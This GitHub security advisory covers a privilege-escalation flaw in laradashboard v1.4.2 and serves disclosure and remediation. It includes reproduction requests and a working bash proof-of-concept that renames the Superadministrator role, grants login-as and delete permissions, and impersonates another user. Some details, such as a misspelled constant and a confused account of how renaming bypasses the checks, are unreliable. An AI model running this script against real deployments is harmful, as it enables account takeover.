All vulnerabilities
GHSA-555v-6rfr-r969

laradashboard/laradashboard: Superadmin Role Tampering + Privilege Minting in Production

laradashboard/laradashboard
CVSS
8.8High
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed inNone listedNo source names a fixed version yet
Published3 Oct 2026Updated 3 Oct 2026GitHub

What fixes it

No source in this snapshot names a fixed version.

Description

Superadmin Role Tampering + Privilege Minting in Production

  • Severity: CVSS AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • CWE: 296 / 862 (privilege escalation via destructive role rename/edit)
  • Affected: v1.4.2; RoleController, RolePolicy, StoreRoleRequest, UserService

Summary

Out of demo-mode, the "Superadministrator" role's name and permissions can be edited/deleted by any role-holding user (Admin holds role.edit/role.delete). Renaming Superadministrator to the mangled default breaks strcasecmp($roleName,'Superadministrator') comparisons used across the control plane, locally "locking" the privileged check while the role object — still effective — escapes all isSuperadmin($adminUser) guards (which match by name). The same roads let a user self-mint user.*/login_as values.

// RoleController.php:144, 180 — the only guards are demo-mode toggles:
if (! RolePermissionConstants::ALLOW_ROLE_ROPLEY_DISABLED_PORODUCTION_MODE ... ) return ; // demo-gated
// RolePolicy.php:39-50 — update/delete check only granular role.* perms
// UserService::ensureCanManageRoles — blocks editing ONLY the exact string "Superadmin"
  • /admin/roles/{id} PUT → rename Superadministrator → Superadmin2 (destroying the Superadmin exact-match guards used by login-as, module license, upgrade, pulse, etc.).
  • PUT adds permissions[] = user.delete|user.login_as|user.assignRole to any role the user can manage; or target own role → add role.update, then escalate.
  • DELETE /admin/roles/{id} removes the last admin role while super_admin tables/columns are left dangling.

Reproduction (authenticated as Admin)

GET  /admin/roles/1
PUT  /admin/roles/1          name:"Superadmin2" permissions:[...,"user.delete","user.login_as"]
POST /admin/users/2/login-as                           → session hijack of any user, incl. member 1
PUT  /admin/users/1/roles   role_id:1 user_id:ownid    → now roots "superadmin" everywhere

Impact

  • Escalation to effectively superuser: rename → role keeps all abilities but matched by the (now non-Superadmin-named) role, defeating the demo-gated "can only happen in demo" protections.
  • Mass permission minting (user.*), privilege-held account takeover via login_as, denial of admin (role delete).

Remediation

  1. Make superadmin role uneditable/undeletable unconditionally (not only in demo mode); prevent permission minting for the user.* set below Superadmin.
  2. Replace name-based checks with a dedicated DB flag/table (is_super_admin) everywhere (UserService, module license, Pulse, upgrades).
  3. Restrict login_as/user.delete/user.assignRole to Superadmin-only grants.

PoC

Script

#!/usr/bin/env bash
# V-02: Superadmin role tampering + privilege minting (production)
set -eu
BASE="${BASE_URL:?Set BASE_URL to running app}"
ADMIN_EMAIL="${ADMIN_EMAIL:-admin@example.com}"
ADMIN_PASS="${ADMIN_PASS:-password}"
COOKIE=$(mktemp)
trap 'rm -f "$COOKIE"' EXIT

curl -sS -c "$COOKIE" "$BASE/login" > /dev/null
CSRF=$(curl -sS -b "$COOKIE" "$BASE/login" \
  | grep -oP 'name="_token"[^>]*value="\K[^"]+' | head -1)
curl -sS -b "$COOKIE" -c "$COOKIE" -X POST "$BASE/login" \
  -d "_token=$CSRF&email=$ADMIN_EMAIL&password=$ADMIN_PASS" -o /dev/null

echo "[1/4] Listing roles..."; curl -sS -b "$COOKIE" "$BASE/admin/roles" | grep -oP 'Superadministrator|Superadmin' | head -5

echo "[2/4] Renaming Superadministrator (role.edit in prod)..."
CSRF2=$(curl -sS -b "$COOKIE" "$BASE/admin/roles" | grep -oP 'name="_token"[^>]*value="\K[^"]+' | head -1)
curl -sS -b "$COOKIE" -X PUT "$BASE/admin/roles/1" \
  -d "_token=$CSRF2&id=1&name=Superadmin2&status=1" -w "    HTTP %{http_code}\n"

echo "[3/4] Minting user.login_as / user.delete on that role..."
curl -sS -b "$COOKIE" -X PUT "$BASE/admin/roles/1" \
  -d "_token=$CSRF2&id=1&name=Superadmin2&permissions[]=user.login_as&permissions[]=user.delete" \
  -w "    HTTP %{http_code}\n"

echo "[4/4] Impersonating another admin (login_as)..."
curl -sS -b "$COOKIE" -X POST "$BASE/admin/users/2/login-as" -w "    HTTP %{http_code}\n"
echo "[+] Done — non-Superadmin Admin renamed superadmin role + minted privileges."

Expected output

[1/4] Listing roles...
    Superadministrator
[2/4] Renaming Superadministrator (role.edit in prod)...
    HTTP 200
[3/4] Minting user.login_as / user.delete on that role...
    HTTP 200
[4/4] Impersonating another admin (login_as)...
    HTTP 302
[+] Done — non-Superadmin Admin renamed superadmin role + minted privileges.

The strcasecmp($roleName,'Superadministrator') guards now fail on the renamed role while its abilities remain intact — every isSuperadmin check (login-as, module license, Pulse, upgrade) is locally bypassed.

Connect with the researcher: Evilord on LinkedIn

Text from GitHub Advisory Database

Affected versions 1

  • laradashboard/laradashboard, php,laravelv1.4.2GitHub